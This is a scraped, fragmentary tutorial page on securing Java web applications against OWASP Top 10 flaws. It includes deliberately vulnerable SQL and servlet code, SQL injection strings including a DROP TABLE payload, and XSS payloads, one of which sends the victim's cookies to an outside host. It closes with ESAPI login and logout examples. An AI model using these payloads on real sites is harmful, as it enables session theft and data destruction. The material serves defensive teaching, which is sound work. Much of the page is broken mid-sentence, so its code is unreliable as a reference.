Login:  Password:    
forgot my password
sign up!
Search: 

Security in Java Applications

How to make your web application stronger

table).

Figure 1. Of course you can add or reduce some of these layers. Everything will depend on the ratio of value of what you want to protect versus the cost to install and maintain this protection.

OWASP – The Open Web Application Security Project

NET, PHP to Python.

1.     Injection;

  1. 10.  Unvalidated Redirects and Forwards.

    It's a different focus, it aims to educate the community about the need for the assessment of risks inherent to the applications. The article also suggests a simple model to quantify risk, which would be a structured way to define the size of the investment being made in the process of building software to achieve the satisfactory level of security.

      solutions focused on the problem, reducing the possibility of an attacker to find ways to access the application that have not been tested or foreseen;front end. When it comes to web applications, perform validation of input using JavaScript is useful to avoid the need for a request to a server with parameters that we already know to be invalid, but you must always validate rules also on the back end, because this is the environment where we have total control of what we can or can’t allow.

     should be validated and also maintain a strong typing, validate the length of the field and always use the minimum necessary size, check if the numeric fields are within the expected range, etc.

    ASCII = Action and Reaction

     

    URL Encoded = A%c3%a7%c3%a3o+e+Rea%c3%a7%c3%a3o

     

    Base 64 = QefjbyBlIFJlYefjbw==

     

    HEX = 41 e7 e3 6f 20 65 20 52 65 61 e7 e3 6f

    final String id = httpRequest.getParameter("id"); // paremeter from the request

    final String sql = "SELECT * FROM clients WHERE clientID = '" + id + "'"

    Statement stmt = conn.createStatement();

    ResultSet rs = stmt.executeQuery(sql);

     

    // Example of VULNERABLE code to SQL injection using do JPA #FAIL

    final String id = httpRequest.getParameter("id"); // paremeter from the request

    q = entityManager.createQuery("SELECT * FROM clients WHERE clientID = '" + id + "'");

    http://mywebsite.com /clients?id=1234’ OR 1=1 –

    SELECT * FROM customers WHERE customerID = '1234' OR 1=1 --'

     

    http://mywebsite.com/ customers?id=1234'; DROP TABLE customers --

    SELECT * FROM customers WHERE customerID = '1234'; DROP TABLE customers --'

     

    SELECT * FROM customers WHERE customerID = "1234' OR 1=1 --"

     our next type of vulnerability, the cross-site scripting.

    Listing 2. Examples of possible solutions to SQL Injection.

http://mywebsite.com /customers?id=1234'><script>alert("XSS")</script>'

Listing 4. ...

Customer ID: <%= customerID %>

 

// code in a VULNERABLE Servlet to XSS reflected #FAIL

out.writeln("you searched for: "+request.getParameter("q"));

http://mywebsite.com/customers?id=1234'><script src=http://ha.ckers.org/xss.js></script>'

http://mywebsite.com /customers?id=1234"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>

                                                                                          

Figure 3 shows how such attack is architected.

&lt;

      return getCreditCardNumber;
 }
}

try {

  String username = request.getParameter(username);

  String password = request.getParameter(password);

 

  Authenticator instance = ESAPI.authenticator();

 

  if ( username != null && password != null ) {

    if ( instance.exists(username) ) {

 

      User user = instance.getUser(username);

 

      if ( !instance.verifyPassword(user, password) ) {

// Erro de usuário e senha não encontrados

        // O method verifyPassword increments the limit counters

      }

 

      if ( !instance.getUser(username).isEnabled() ) {

        // Error showing that the account is locked or something like that

      }

 

      accountName = user.getAccountName();

      lastLoginTime = user.getLastLoginTime();

      lastFailedLogin = user.getLastFailedLoginTime();

      failedLoginCount = user.getFailedLoginCount();

      roles = user.getRoles();

      lastHost = user.getLastHostAddress();

}

    else {

      // Error showing: Couldn’t find user or password

}

  } else {

    // Error Showing: User or password not informed

}

}

catch ( AuthenticationException e) {

  // Handle error correctly

}

http://mywebsite.com /vendas/itens;jsessionid=B282D44B37CEF164EA3476BEA7488D78

public void logout() {

 

  // cookie inutilization

    // If a valid session is located, invalidates it

  HttpSession session = ESAPI.currentRequest().getSession(false);

  if (session != null) {

    session.invalidate();

}

 

  // inutilizates the cookie with a session identifier

  ESAPI.httpUtilities().

    killCookie(ESAPI.currentRequest(),

               ESAPI.currentResponse(),

               "JSESSIONID");

 

  loggedIn = false;

  logger.info(Logger.SECURITY, "Logout successful" );

  ESAPI.authenticator().setCurrentUser(User.ANONYMOUS);

}

 

// The killCookie method overwrites cookie session

public void killCookie(HttpServletRequest request, HttpServletResponse response, String name) {

  String path = "//";

  String domain="";

  Cookie cookie = ESAPI.httpUtilities().getCookie(request, name);

  if ( cookie != null ) {

    path = cookie.getPath();

    domain = cookie.getDomain();

  }

  SafeResponse safeResponse = new SafeResponse( response );

  safeResponse.addCookie(name, "deleted", 0, domain, path);

}

Conclusions

Building web applications that are sufficiently safe is a constant exercise to keep up to date with the most modern techniques of attack and to seek more simpler and efficient solutions to avoid the appearance of flaws and vulnerabilities. We accomplish this with the awareness of everyone in the organization that there is a role to be played by each in the search of a highest possible level of protection.

Don’t limit yourself to only assess the vulnerabilities known or listed on the OWASP Top 10, because there are dozens of attacks techniques. Study them; increase your knowledge, because the attackers usually have more time than you to look at where are the points of failure in your systems.

This article is not even scratching the surface of the Information Security subject, but we hope that was at least enough to stimulate the reader to pursue in-depth information. Whether you are a developer, architect, security engineer, DBA or other, practice Defense Depth and bear in mind the principles of architecture presented here and we are certainly building a web safer for everyone.





Add a comment!
[Fechar]

Este post é fechado - você precisa ter acesso ao post para incluir um comentário.


No comment was posted yet - be the first!



 
Help us to improve! Give us your feedback:
Give your note to the technical content
10 9 8 7 6 5 4 3 2 1
Give your note to the post's learning
10 9 8 7 6 5 4 3 2 1
Is this post helpful?
Yes No


MRBOOL
Notice, Tips and Published Articles.


Go to author's Space


Post stats:
Favorited:
 1
Tech Content:
Learning:
Helpful?
1 0
votes:4

Post actions:
[Close]
To have full access to this post (or download the associated files) you must have MrBool Credits.

  See the prices for this post in Mr.Bool Credits System below:

Individually – in this case the price for this post is US$ 0,00 (Buy it now)
in this case you will buy only this video by paying the full price with no discount.

Package of 10 credits - in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download few videos. In this plan you will receive a discount of 50% in each video. Subscribe for this package!

Package of 50 credits – in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download several videos. In this plan you will receive a discount of 83% in each video. Subscribe for this package!


> More info about MrBool Credits








mrbool.com
contact us   |   publish your post   |   buy credits

Copyright 2012 - all rights reserved to www.web-03.net